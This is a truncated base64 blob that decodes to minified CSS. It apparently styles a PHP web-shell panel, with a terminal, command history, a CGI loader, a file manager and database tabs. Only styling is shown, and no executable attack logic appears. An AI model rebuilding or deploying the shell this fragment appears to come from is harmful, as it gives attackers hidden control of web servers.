WdodDo3cHg7YmFja2dyb3VuZDojMWQ1NjczO2N1cnNvcjpwb2ludGVyO3Bvc2l0aW9uOmFic29sdXRlO2JveC1zaXppbmc6Ym9yZGVyLWJveDtsaW5lLWhlaWdodDo1MHB4O2Rpc3BsYXk6aW5saW5lLWJsb2NrO3RvcDoxN3B4O2JvcmRlci1yYWRpdXM6MTAwcHh9LmVkaXRvci1taW5pbWl6ZXtyaWdodDo1MHB4fS5jbG9zZS1idXR0b246YWZ0ZXIsLmNsb3NlLWJ1dHRvbjpiZWZvcmUsLmVkaXRvci1taW5pbWl6ZTpiZWZvcmV7dHJhbnNmb3JtOnJvdGF0ZSgtNDVkZWcpO2NvbnRlbnQ6IiI7cG9zaXRpb246YWJzb2x1dGU7dG9wOjYzJTtyaWdodDo2cHg7bWFyZ2luLXRvcDotNXB4O21hcmdpbi1sZWZ0Oi0yNXB4O2Rpc3BsYXk6YmxvY2s7aGVpZ2h0OjRweDt3aWR0aDoyN3B4O2JhY2tncm91bmQtY29sb3I6cmdiYSgyMTYsMjA3LDIwNywuNzUpO3RyYW5zaXRpb246YWxsIC4yNXMgZWFzZS1vdXR9LmVkaXRvci1taW5pbWl6ZTpiZWZvcmV7dHJhbnNmb3JtOnJvdGF0ZSgwKX0uY2xvc2UtYnV0dG9uOmFmdGVye3RyYW5zZm9ybTpyb3RhdGUoLTEzNWRlZyl9LmNsb3NlLWJ1dHRvbjpob3ZlcjphZnRlciwuY2xvc2UtYnV0dG9uOmhvdmVyOmJlZm9yZSwuZWRpdG9yLW1pbmltaXplOmhvdmVyOmJlZm9yZXtiYWNrZ3JvdW5kLWNvbG9yOnJlZH0uY2xvc2UtYnV0dG9uOmhvdmVyLC5lZGl0b3ItbWluaW1pemU6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDM5LDY2LDgwLC45Nil9I2NnaWxvYWRlciwjZGF0YWJhc2Vfd2luZG93LCNlZGl0b3IsI29wdGlvbnNfd2luZG93e2Rpc3BsYXk6bm9uZTtwb3NpdGlvbjpmaXhlZDt0b3A6MDt3aWR0aDoxMDAlO2hlaWdodDoxMDAlO3otaW5kZXg6MjB9LmVkaXRvci13cmFwcGVye3dpZHRoOjEwMCU7aGVpZ2h0OjEwMCU7cG9zaXRpb246cmVsYXRpdmU7dG9wOjElfS5lZGl0b3ItaGVhZGVye3dpZHRoOjk3JTtiYWNrZ3JvdW5kOnJnYmEoMjEsNjYsODgsLjkzKTtoZWlnaHQ6MzdweDttYXJnaW4tbGVmdDoxM3B4O3Bvc2l0aW9uOnJlbGF0aXZlO2JvcmRlci10b3AtbGVmdC1yYWRpdXM6MTVweDtib3JkZXItdG9wLXJpZ2h0LXJhZGl1czoxNXB4fS5lZGl0b3ItcGF0aHtwb3NpdGlvbjphYnNvbHV0ZTtmb250LXNpemU6eC1sYXJnZTttYXJnaW4tbGVmdDoxMHB4O3RvcDo2cHg7Y29sb3I6IzAwZmY3Zn0uZWRpdG9yLW1vZGFse3Bvc2l0aW9uOnJlbGF0aXZlO3RvcDowO2JhY2tncm91bmQtY29sb3I6cmdiYSgwLDEsMjMsLjk1KTtoZWlnaHQ6OTAlO21hcmdpbi1sZWZ0OjIwJTttYXJnaW4tcmlnaHQ6MiU7Ym9yZGVyOjJweCAjMGUzMDRhIHNvbGlkfS5lZGl0b3ItZXhwbG9yZXJ7d2lkdGg6MTklO2hlaWdodDo5MCU7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDAsMSwyMywuOTQpO3Bvc2l0aW9uOmFic29sdXRlO3otaW5kZXg6MjtsZWZ0OjElO2JvcmRlcjoycHggIzBlMzA0YSBzb2xpZH0uZWRpdG9yLWNvbnRyb2xsZXJ7cG9zaXRpb246cmVsYXRpdmU7dG9wOi0xM3B4fS5maWxlLWhvbGRlcntwb3NpdGlvbjpyZWxhdGl2ZTt3aWR0aDoxMDAlO2hlaWdodDozMHB4fS5maWxlLWhvbGRlcj4uaGlzdG9yeXtwb3NpdGlvbjphYnNvbHV0ZTtjb2xvcjojMDNiM2EzO2N1cnNvcjpwb2ludGVyO2xlZnQ6NXB4O2ZvbnQtc2l6ZToxOHB4O2ZvbnQtZmFtaWx5OnNhbnMtc2VyaWY7d2lkdGg6ODklO2hlaWdodDoxMDAlO3otaW5kZXg6Mztib3JkZXItcmFkaXVzOjEwcHg7dHJhbnNpdGlvbjpiYWNrZ3JvdW5kLWNvbG9yIC42cyBlYXNlLW91dH0uZmlsZS1ob2xkZXI+Lmhpc3RvcnktY2xvc2V7ZGlzcGxheTpibG9jaztvcGFjaXR5OjA7cG9zaXRpb246YWJzb2x1dGU7cmlnaHQ6MnB4O3dpZHRoOjIwcHg7dG9wOjRweDt0ZXh0LWFsaWduOmNlbnRlcjtjdXJzb3I6cG9pbnRlcjtjb2xvcjojZmZmO2JhY2tncm91bmQ6cmVkO2JvcmRlci1yYWRpdXM6MTAwcHg7Zm9udC1mYW1pbHk6bW9ub3NwYWNlO3otaW5kZXg6MTA7dHJhbnNpdGlvbjpvcGFjaXR5IC42cyBlYXNlLW91dDtmb250LXNpemU6MTVweDtoZWlnaHQ6MTlweH0uZmlsZS1ob2xkZXI+Lmhpc3Rvcnk6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNjQ2NDY0fS5lZGl0b3ItZXhwbG9yZXI+LmhoZWFkZXJ7cG9zaXRpb246cmVsYXRpdmU7Y29sb3I6IzE0ZmYwNztib3JkZXItYm90dG9tOjJweCAjMjA2YWEyIHNvbGlkO3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtZmFtaWx5OnNhbnMtc2VyaWY7bWFyZ2luLWJvdHRvbToxMHB4O2hlaWdodDo1NXB4fS5lZGl0b3Itc2VhcmNoe3Bvc2l0aW9uOmFic29sdXRlO2JvdHRvbTo3cHg7bGVmdDozMXB4fS5oaGVhZGVyLXRleHR7cG9zaXRpb246YWJzb2x1dGU7bGVmdDo4cHg7dG9wOjJweH0uaGlzdG9yeS1jbGVhcntwb3NpdGlvbjphYnNvbHV0ZTtyaWdodDo4cHg7dG9wOjJweDtjdXJzb3I6cG9pbnRlcn0uZWRpdG9yLWJvZHl7cG9zaXRpb246cmVsYXRpdmU7bWFyZ2luLWxlZnQ6M3B4O2hlaWdodDoxMDAlfS5lZGl0b3ItYW5pbS1jbG9zZXstd2Via2l0LWFuaW1hdGlvbjplZGl0b3JDbG9zZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7LW1vei1hbmltYXRpb246ZWRpdG9yQ2xvc2UgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzOy1tcy1hbmltYXRpb246ZWRpdG9yQ2xvc2UgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzO2FuaW1hdGlvbjplZGl0b3JDbG9zZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHN9QGtleWZyYW1lcyBlZGl0b3JDbG9zZXswJXt2aXNpYmlsaXR5OjE7b3BhY2l0eToxfTEwMCV7dmlzaWJpbGl0eTowO29wYWNpdHk6MH19LmVkaXRvci1hbmltLW1pbmltaXpley13ZWJraXQtYW5pbWF0aW9uOmVkaXRvck1pbmltaXplIC44cyBlYXNlLWluLW91dCBmb3J3YXJkczstbW96LWFuaW1hdGlvbjplZGl0b3JNaW5pbWl6ZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7LW1zLWFuaW1hdGlvbjplZGl0b3JNaW5pbWl6ZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7YW5pbWF0aW9uOmVkaXRvck1pbmltaXplIC44cyBlYXNlLWluLW91dCBmb3J3YXJkc31Aa2V5ZnJhbWVzIGVkaXRvck1pbmltaXplezAle3JpZ2h0OjA7b3BhY2l0eToxfTEwMCV7cmlnaHQ6LTIwMDBweDtvcGFjaXR5OjB9fS5lZGl0b3ItYW5pbS1zaG93ey13ZWJraXQtYW5pbWF0aW9uOmVkaXRvclNob3cgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzOy1tb3otYW5pbWF0aW9uOmVkaXRvclNob3cgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzOy1tcy1hbmltYXRpb246ZWRpdG9yU2hvdyAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7YW5pbWF0aW9uOmVkaXRvclNob3cgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzfUBrZXlmcmFtZXMgZWRpdG9yU2hvd3swJXtyaWdodDotMjAwMHB4O29wYWNpdHk6MH0xMDAle3JpZ2h0OjA7b3BhY2l0eToxfX0ubWluaW1pemVkLXNob3d7LXdlYmtpdC1hbmltYXRpb246bWluaW1pemVTaG93IC44cyBlYXNlLWluLW91dCBmb3J3YXJkczstbW96LWFuaW1hdGlvbjptaW5pbWl6ZVNob3cgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzOy1tcy1hbmltYXRpb246bWluaW1pemVTaG93IC44cyBlYXNlLWluLW91dCBmb3J3YXJkczthbmltYXRpb246bWluaW1pemVTaG93IC44cyBlYXNlLWluLW91dCBmb3J3YXJkc31Aa2V5ZnJhbWVzIG1pbmltaXplU2hvd3swJXtyaWdodDotMzBweDtvcGFjaXR5OjB9MTAwJXtyaWdodDowO29wYWNpdHk6MX19Lm1pbmltaXplZC1oaWRley13ZWJraXQtYW5pbWF0aW9uOm1pbmltaXplSGlkZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7LW1vei1hbmltYXRpb246bWluaW1pemVIaWRlIC44cyBlYXNlLWluLW91dCBmb3J3YXJkczstbXMtYW5pbWF0aW9uOm1pbmltaXplSGlkZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7YW5pbWF0aW9uOm1pbmltaXplSGlkZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHN9QGtleWZyYW1lcyBtaW5pbWl6ZUhpZGV7MCV7cmlnaHQ6MDtvcGFjaXR5OjF9MTAwJXtyaWdodDotMzBweDtvcGFjaXR5OjB9fS5zb2xldmlzaWJsZS10ZXh0OmhvdmVyey13ZWJraXQtdGV4dC1zaGFkb3c6MCAwIDI1cHggIzBmMDstbW96LXRleHQtc2hhZG93OjAgMCAyNXB4ICMwZjA7LW1zLXRleHQtc2hhZG93OjAgMCAyNXB4ICMwZjA7dGV4dC1zaGFkb3c6MCAwIDI1cHggIzBmMH0udXBkYXRlLWhvbGRlcntwb3NpdGlvbjpmaXhlZDt0b3A6MDtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMCwyNCwyOSwuNzIpO3dpZHRoOjEwMCU7aGVpZ2h0OjEwMCV9LnVwZGF0ZS1jb250ZW50e3Bvc2l0aW9uOnJlbGF0aXZlfS51cGRhdGUtY29udGVudD5he3RleHQtZGVjb3JhdGlvbjpub25lO3Bvc2l0aW9uOmFic29sdXRlO2NvbG9yOnJnYmEoMTAzLDE2Nyw0NywuNzcpO2xlZnQ6MjQlO21hcmdpbi10b3A6NyU7Zm9udC1zaXplOjQwcHh9LnVwZGF0ZS1jbG9zZXtwb3NpdGlvbjphYnNvbHV0ZTtyaWdodDowO21hcmdpbi1yaWdodDoyM3B4O3RvcDoxMHB4O2ZvbnQtc2l6ZToyN3B4O2JhY2tncm91bmQtY29sb3I6IzEzMGY1MDt3aWR0aDo1JTtib3JkZXItcmFkaXVzOjEwMHB4O2N1cnNvcjpwb2ludGVyO2JvcmRlcjoycHggIzBlMjY1YSBzb2xpZH0udXBkYXRlLWNsb3NlOmhvdmVye2JvcmRlcjoycHggIzI1ZmYwMCBzb2xpZDtjb2xvcjpyZWR9LmZpbGVzdG9vbHN7aGVpZ2h0OmF1dG87d2lkdGg6YXV0bztjb2xvcjojNjdhYmRmO2ZvbnQtc2l6ZToxMnB4O2ZvbnQtZmFtaWx5OlZlcmRhbmEsR2VuZXZhLHNhbnMtc2VyaWZ9QC1tb3otZG9jdW1lbnQgdXJsLXByZWZpeCgpeyNzZWFyY2gtaW5wdXR7d2lkdGg6MTczcHh9LmVkaXRvci1wYXRoe3RvcDozcHh9fS5maWx0ZXJzLWhvbGRlcntwYWRkaW5nOjVweDtwYWRkaW5nLWxlZnQ6MTBweH0uZmlsdGVycy1ob2xkZXIgaW5wdXR7d2lkdGg6MjAwcHh9LmZpbHRlcnMtaG9sZGVyIHNwYW57Y29sb3I6IzhiYzdmN30jcmlnaHRjbGlja19tZW51e3dpZHRoOjE3NXB4O3Zpc2liaWxpdHk6aGlkZGVuO29wYWNpdHk6MDtwb3NpdGlvbjpmaXhlZDtiYWNrZ3JvdW5kOiMwZjMwNGE7Y29sb3I6IzU1NTtmb250LWZhbWlseTpzYW5zLXNlcmlmO2ZvbnQtc2l6ZToxMXB4Oy13ZWJraXQtdHJhbnNpdGlvbjpvcGFjaXR5IC41cyBlYXNlLWluLW91dDstbW96LXRyYW5zaXRpb246b3BhY2l0eSAuNXMgZWFzZS1pbi1vdXQ7LW1zLXRyYW5zaXRpb246b3BhY2l0eSAuNXMgZWFzZS1pbi1vdXQ7LW8tdHJhbnNpdGlvbjpvcGFjaXR5IC41cyBlYXNlLWluLW91dDt0cmFuc2l0aW9uOm9wYWNpdHkgLjVzIGVhc2UtaW4tb3V0Oy13ZWJraXQtYm94LXNoYWRvdzotMXB4IDAgMTdweCAwICM4YjhiOGM7LW1vei1ib3gtc2hhZG93Oi0xcHggMCAxN3B4IDAgIzhiOGI4Yztib3gtc2hhZG93Oi0xcHggMCAxN3B4IDAgIzhiOGI4YztwYWRkaW5nOjA7Ym9yZGVyOjFweCBzb2xpZCAjNzM3MzczO2JvcmRlci1yYWRpdXM6MTBweH0jcmlnaHRjbGlja19tZW51IGF7ZGlzcGxheTpibG9jaztjb2xvcjojZmZmO2ZvbnQtd2VpZ2h0OmJvbGRlcjt0ZXh0LWRlY29yYXRpb246bm9uZTtwYWRkaW5nOjZweCA4cHggNnB4IDMwcHg7cG9zaXRpb246cmVsYXRpdmU7cGFkZGluZy1sZWZ0OjQwcHh9I3JpZ2h0Y2xpY2tfbWVudSBhIGkuZmEsI3JpZ2h0Y2xpY2tfbWVudSBhIGltZ3toZWlnaHQ6MjBweDtmb250LXNpemU6MTdweDt3aWR0aDoyMHB4O3Bvc2l0aW9uOmFic29sdXRlO2xlZnQ6NXB4O3RvcDoycHg7cGFkZGluZy1sZWZ0OjVweH0jcmlnaHRjbGlja19tZW51IGEgc3Bhbntjb2xvcjojYmNiMWIzO2Zsb2F0OnJpZ2h0fSNyaWdodGNsaWNrX21lbnUgYTpob3Zlcntjb2xvcjojZmZmO2JhY2tncm91bmQ6IzM4NzlkOX0jcmlnaHRjbGlja19tZW51IGhye2JvcmRlcjoxcHggc29saWQgI2ViZWJlYjtib3JkZXItYm90dG9tOjB9LmNsLXBvcHVwLWZpeGVke3Bvc2l0aW9uOmZpeGVkO3RvcDowO2xlZnQ6MDt3aWR0aDoxMDAlO2hlaWdodDoxMDAlO2JhY2tncm91bmQ6IzIwMWUxZWFkfSNzaG9ydGN1dE1lbnUtaG9sZGVye3Bvc2l0aW9uOmFic29sdXRlO3RvcDo0MCU7bGVmdDo1MCU7dHJhbnNmb3JtOnRyYW5zbGF0ZSgtNTAlLC01MCUpO2JhY2tncm91bmQ6IzFmMWUxZWRiO2hlaWdodDoxOTBweDt3aWR0aDo1MDBweDtjb2xvcjojZmZmfSNzaG9ydGN1dE1lbnUtaG9sZGVyPi5wb3B1cC1oZWFke2JhY2tncm91bmQ6IzIwNzE3NDtwYWRkaW5nOjZweDtib3JkZXItdG9wOjEwcHg7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC1mYW1pbHk6c2Fucy1zZXJpZjtjb2xvcjojZmZmfSNzaG9ydGN1dE1lbnUtaG9sZGVyPmZvcm17cGFkZGluZzoxMHB4fSNzaG9ydGN1dE1lbnUtaG9sZGVyPmZvcm0+bGFiZWx7ZGlzcGxheTpibG9ja30jc2hvcnRjdXRNZW51LWhvbGRlcj5mb3JtPmlucHV0e3dpZHRoOjk5JTtoZWlnaHQ6MjRweDttYXJnaW4tdG9wOjRweDtjb2xvcjojZmZmO291dGxpbmU6MDtmb250LXNpemU6MTZweH0jc2hvcnRjdXRNZW51LWhvbGRlcj4ucG9wdXAtZm9vdHtmbG9hdDpyaWdodDtoZWlnaHQ6MzBweDttYXJnaW4tcmlnaHQ6OHB4fSNzaG9ydGN1dE1lbnUtaG9sZGVyPi5wb3B1cC1mb290PmJ1dHRvbntoZWlnaHQ6MTAwJTtjdXJzb3I6cG9pbnRlcjtjb2xvcjojZmZmO291dGxpbmU6MH0ucGhwLXRlcm1pbmFsLW91dHB1dHtvdmVyZmxvdzphdXRvO2hlaWdodDo4NiU7Ym9yZGVyOjFweCBzb2xpZCAjMWU1NjczO2JvcmRlci1yYWRpdXM6MTBweH0uY21kLWhpc3RvcnktaG9sZGVye3Zpc2liaWxpdHk6aGlkZGVuO29wYWNpdHk6MDtwb3NpdGlvbjphYnNvbHV0ZTtjb2xvcjojZGZmM2Q1O2JhY2tncm91bmQ6IzA5M2Q1ODt0b3A6LTMwMHB4O2hlaWdodDozMDBweDt3aWR0aDpjYWxjKDY5JSArIC0xMXB4KTtib3JkZXItcmFkaXVzOjEwcHggMTBweCAwIDA7bGVmdDpjYWxjKDIlIC0gOXB4KTt0cmFuc2l0aW9uOnZpc2liaWxpdHkgLjVzLG9wYWNpdHkgLjVzIGxpbmVhcn0uY21kLWhpc3RvcnktaG9sZGVyIC5jb21tYW5kcy1oaXN0b3J5LWhlYWRlcntiYWNrZ3JvdW5kOiMzNzUwNGU7dGV4dC1hbGlnbjpjZW50ZXI7Ym9yZGVyLXJhZGl1czoxMHB4IDEwcHggMCAwfS5jbWQtaGlzdG9yeS1pY29ue3dpZHRoOjI3cHg7dG9wOjZweDtsZWZ0OmNhbGMoNjklICsgNXB4KTtwb3NpdGlvbjphYnNvbHV0ZTtjdXJzb3I6cG9pbnRlcn0uaGlzdG9yeS1jbWQtbGluZXtwYWRkaW5nOjRweDtib3JkZXItYm90dG9tOjFweCBkYXNoZWQ7Y3Vyc29yOnBvaW50ZXJ9Lmhpc3RvcnktY21kLWxpbmU6aG92ZXJ7YmFja2dyb3VuZDojOTYxMTExfSNteVVMLCNteVVMIHVse2xpc3Qtc3R5bGUtdHlwZTpub25lfSNteVVMe21hcmdpbjowO3BhZGRpbmc6MH0uYm94e2N1cnNvcjpwb2ludGVyOy13ZWJraXQtdXNlci1zZWxlY3Q6bm9uZTstbW96LXVzZXItc2VsZWN0Om5vbmU7LW1zLXVzZXItc2VsZWN0Om5vbmU7dXNlci1zZWxlY3Q6bm9uZX0uYm94OjpiZWZvcmV7Y29udGVudDoiXDI2MTAiO2NvbG9yOiMwMDA7ZGlzcGxheTppbmxpbmUtYmxvY2s7bWFyZ2luLXJpZ2h0OjZweH0uY2hlY2stYm94OjpiZWZvcmV7Y29udGVudDoiXDI2MTEiO2NvbG9yOiMxZTkwZmZ9Lm5lc3RlZHtkaXNwbGF5Om5vbmV9LmFjdGl2ZXtkaXNwbGF5OmJsb2NrfS5mbGFnLWhvbGRlcj5pbWd7d2lkdGg6MjBweDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7cGFkZGluZy1sZWZ0OjZweH0jb3B0aW9uc193aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLm9wdGlvbnNfaG9sZGVye3Bvc2l0aW9uOnJlbGF0aXZlO2Rpc3BsYXk6bm9uZTtvdmVyZmxvdzphdXRvO21pbi1oZWlnaHQ6MzAwcHg7bWF4LWhlaWdodDpjYWxjKDEwMHZoIC0gMTAwcHgpfSNvcHRpb25zX3dpbmRvdyAuY29udGVudF9vcHRpb25zX2hvbGRlciAub3B0aW9uc19ob2xkZXIgLmhlYWRlcnttaW4taGVpZ2h0OjUwdmh9I29wdGlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX2hvbGRlci5vcHRpb25faXNfYWN0aXZle2Rpc3BsYXk6YmxvY2t9I29wdGlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX3RhYntwYWRkaW5nOjVweDttYXJnaW4tbGVmdDoxNHB4O21hcmdpbi1yaWdodDozMHB4O2JhY2tncm91bmQ6IzAwMDtib3JkZXItYm90dG9tOjdweCBzb2xpZCAjMGYzMDRhO2JvcmRlci1sZWZ0OjdweCBzb2xpZCAjMGYzMDRhO2JvcmRlci1yaWdodDo3cHggc29saWQgIzBmMzA0YTtvdmVyZmxvdy14OmF1dG87d2hpdGUtc3BhY2U6bm93cmFwfSNmaWxlc21hbl90YWJzIC5maWxlc21hbl90YWIgaW1nLCNvcHRpb25zX3dpbmRvdyAuY29udGVudF9vcHRpb25zX2hvbGRlciAub3B0aW9uc190YWIgLnRhYl9uYW1lIGltZywuZWRpdG9yLXRhYi1uYW1lIGltZywuc3FsLXRhYnMgLnNxbC10YWJuYW1lIGltZywudGVybWluYWwtdGFicyAudGVybWluYWwtdGFiIGltZ3t3aWR0aDoxMHB4O3ZlcnRpY2FsLWFsaWduOm1pZGRsZTttYXJnaW4tbGVmdDo1cHh9I2ZpbGVzbWFuX3RhYnMgLmZpbGVzbWFuX3RhYiwjb3B0aW9uc193aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLm9wdGlvbnNfdGFiIC50YWJfbmFtZSwuZWRpdG9yLXRhYi1uYW1lLC5zcWwtdGFicyAuc3FsLW5ld3RhYiwuc3FsLXRhYnMgLnNxbC10YWJuYW1lLC50ZXJtaW5hbC10YWJzIC50ZXJtaW5hbC10YWJ7ZGlzcGxheTppbmxpbmUtYmxvY2s7YmFja2dyb3VuZC1jb2xvcjojMTMzZDUxO2JvcmRlci1yYWRpdXM6NHB4O3BhZGRpbmc6NXB4O2NvbG9yOiNmZmY7bWFyZ2luLXJpZ2h0OjNweDtwYWRkaW5nOjVweDtjdXJzb3I6cG9pbnRlcjttYXJnaW4tYm90dG9tOjFweDt0cmFuc2l0aW9uOmJhY2tncm91bmQtY29sb3IgLjVzfSNmaWxlc21hbl90YWJzIC5maWxlc21hbl90YWJ7bWluLXdpZHRoOjU1cHg7dGV4dC1hbGlnbjpjZW50ZXJ9I2ZpbGVzbWFuX3RhYnMgLmZpbGVzbWFuX3RhYjpob3Zlciwjb3B0aW9uc193aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLm9wdGlvbnNfdGFiIC50YWJfbmFtZTpob3ZlciwuZWRpdG9yLXRhYi1uYW1lOmhvdmVyLC5zcWwtdGFicyAuc3FsLXRhYm5hbWU6aG92ZXIsLnRlcm1pbmFsLXRhYnMgLnRlcm1pbmFsLXRhYjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiNhMjM5Mzl9LmVkaXRvci10YWJzLC5zcWwtdGFicywudGVybWluYWwtdGFic3twYWRkaW5nOjVweDtvdmVyZmxvdy14OmF1dG87d2hpdGUtc3BhY2U6bm93cmFwfS5vcHRpb25zLWxvYWRlci1ob2xkZXJ7cG9zaXRpb246YWJzb2x1dGU7dG9wOjA7bGVmdDowO3dpZHRoOjEwMCU7aGVpZ2h0OjEwMCU7YmFja2dyb3VuZDojMmIyNjI2Yzc7ei1pbmRleDoxMX0ub3B0aW9ucy1sb2FkZXItaG9sZGVyIGltZ3twb3NpdGlvbjphYnNvbHV0ZTt0b3A6MzIlO2xlZnQ6NDUlO3RyYW5zZm9ybTp0cmFuc2xhdGUoLTUwJSwtNTAlKTt3aWR0aDoxMDBweDthbmltYXRpb246c3BpbiAycyBpbmZpbml0ZX0jZmlsZXNtYW5fdGFicyAuZmlsZXNtYW5fdGFiLmZpbGVzbWFuLXRhYi1hY3RpdmUsI29wdGlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX3RhYiAudGFiX25hbWUudGFiX2lzX2FjdGl2ZSwuZWRpdG9yLXRhYi1uYW1lLmVkaXRvci10YWItYWN0aXZlLC5zcWwtdGFibmFtZS5zcWwtYWN0aXZlLXRhYiwudGVybWluYWwtdGFiLmFjdGl2ZS10ZXJtaW5hbC10YWJ7YmFja2dyb3VuZC1jb2xvcjojMDA5Njg4fS50YWItaXMtZG9uZXthbmltYXRpb246MnMgdGFiX2NoYW5nZV9jb2xvciBpbmZpbml0ZSBzdGVwLWVuZH0uc3RvcEFqYXh7Y29sb3I6I2ZmZjtmb250LXNpemU6MjBweDtkaXNwbGF5OmlubGluZS1ibG9jaztwYWRkaW5nOjEwcHg7Y3Vyc29yOnBvaW50ZXJ9I2FfbG9hZGVye2Rpc3BsYXk6bm9uZTtwb3NpdGlvbjpmaXhlZDt0b3A6MDtsZWZ0OjA7d2lkdGg6MTAwJTtoZWlnaHQ6MTAwJTtiYWNrZ3JvdW5kOiMyYjI2MjZjNzt6LWluZGV4Ojk5fS5mbWFuYWdlci1yb3c+dGR7cG9zaXRpb246cmVsYXRpdmV9LmZtYW5hZ2VyLXJvdyAuc3ltbGlua19wYXRoe3Bvc2l0aW9uOmZpeGVkO21heC13aWR0aDoxMDAlO2JhY2tncm91bmQtY29sb3I6IzBmMzA0YTtib3JkZXItcmFkaXVzOjEwcHg7Zm9udC1zaXplOjE1cHg7cGFkZGluZzo4cHg7Y29sb3I6I2ZkZjRmNDtib3JkZXI6MXB4IHNvbGlkICM4YThhOGE7ei1pbmRleDoxO3BvaW50ZXItZXZlbnRzOm5vbmV9LmFyY2hpdmUtaWNvbnN7dmVydGljYWwtYWxpZ246bWlkZGxlfS5hcmNoaXZlLXR5cGUtZGlye2ZvbnQtd2VpZ2h0OmJvbGRlcn0uYXJjaGl2ZS10eXBlLWZpbGV7Zm9udC13ZWlnaHQ6dW5zZXR9LmFyY2hpdmUtbmFtZXtjdXJzb3I6cG9pbnRlcn0uYXJjaGl2ZV9kaXJfaG9sZGVyIGF7Y29sb3I6IzBmMDtmb250LXdlaWdodDpib2xkZXI7Y3Vyc29yOnBvaW50ZXJ9LmFyY2hpdmVfZGlyX2hvbGRlciBhOmhvdmVye2NvbG9yOiNmZmZ9LmVkaXRvci1jb250ZW50e2hlaWdodDoxMDAlfS5lZGl0b3ItY29udGVudC1ob2xkZXJ7aGVpZ2h0OjkwJX0uZWRpdG9yLWNvbnRlbnRze2Rpc3BsYXk6bm9uZTtwb3NpdGlvbjpyZWxhdGl2ZTtoZWlnaHQ6MTAwJX0uZWRpdG9yLWNvbnRlbnRzLmVkaXRvci1jb250ZW50LWFjdGl2ZXtkaXNwbGF5OmJsb2NrfS5oaXN0b3J5LXBhbmVsLWNvbnRyb2xsZXJ7cG9zaXRpb246YWJzb2x1dGU7Y29sb3I6I2ZmZjtwYWRkaW5nOjEwcHg7ei1pbmRleDoxMDAwO2JvcmRlci1yYWRpdXM6MTBweDt0b3A6NTAlO2xlZnQ6MTklO2JhY2tncm91bmQtY29sb3I6IzAwOTY4NztjdXJzb3I6cG9pbnRlcn0uc3FsLWNvbnRlbnR7ZGlzcGxheTpub25lO3Bvc2l0aW9uOnJlbGF0aXZlO21pbi1oZWlnaHQ6MzAwcHh9LnNxbC1jb250ZW50LnNxbC1hY3RpdmUtY29udGVudHtkaXNwbGF5OmJsb2NrfS5wYWdlcy1ob2xkZXJ7cGFkZGluZzo3cHh9LnBhZ2VzLW51bWJlcntkaXNwbGF5OmlubGluZS1ibG9jazttYXJnaW4tbGVmdDoxMHB4fS5wYWdlcy1ob2xkZXIgLnBhZ2VzLW51bWJlciBhLnBhZ2UtbnVtYmVye3BhZGRpbmc6NXB4O2JhY2tncm91bmQ6IzBmMzA0YTttYXJnaW4tcmlnaHQ6OHB4O2N1cnNvcjpwb2ludGVyO3dpZHRoOjMzcHg7ZGlzcGxheTppbmxpbmUtYmxvY2s7dGV4dC1hbGlnbjpjZW50ZXI7Ym9yZGVyLXJhZGl1czo1cHg7Y29sb3I6I2ZmZjt0cmFuc2l0aW9uOmJhY2tncm91bmQgLjVzfS5hY3RpdmUtcGFnZS1udW1iZXJ7YmFja2dyb3VuZDojMTA5MjVjIWltcG9ydGFudH0ucGFnZXMtbnVtYmVyIGEucGFnZS1udW1iZXI6aG92ZXJ7YmFja2dyb3VuZDojOGE4YThhfS50ZXJtaW5hbC1jb250ZW50e2hlaWdodDoxMDAlfS50ZXJtaW5hbC1jb250ZW50LC50ZXJtaW5hbC10YWJ7ZGlzcGxheTpub25lfS50ZXJtaW5hbC1jb250ZW50LmFjdGl2ZS10ZXJtaW5hbC1jb250ZW50e2Rpc3BsYXk6YmxvY2s7cG9zaXRpb246cmVsYXRpdmV9LnRlcm1pbmFsLWJ0bi1mb250Y3Rse2JhY2tncm91bmQ6IzAwOTY4ODt3aWR0aDo1MHB4O2NvbG9yOiNmZmY7Zm9udC13ZWlnaHQ6Ym9sZGVyO291dGxpbmU6MDtjdXJzb3I6cG9pbnRlcn0uYWxlcnQtYXJlYXttYXgtaGVpZ2h0OjEwMCU7cG9zaXRpb246Zml4ZWQ7Ym90dG9tOjVweDtsZWZ0OjIwcHg7cmlnaHQ6MjBweDt6LWluZGV4Ojk5OTl9LmFsZXJ0LWJveHtmb250LXNpemU6MTZweDtjb2xvcjojZmZmO2JhY2tncm91bmQ6cmdiYSgwLDAsMCwuOSk7bGluZS1oZWlnaHQ6MS4zZW07cGFkZGluZzoxMHB4IDE1cHg7bWFyZ2luOjVweCAxMHB4O3Bvc2l0aW9uOnJlbGF0aXZlO2JvcmRlci1yYWRpdXM6NXB4O3RyYW5zaXRpb246b3BhY2l0eSAuNXMgZWFzZS1pbjstd2Via2l0LWFuaW1hdGlvbjphbGVydC1zaGFrZSAuNXMgZWFzZS1pbi1vdXQ7YW5pbWF0aW9uOmF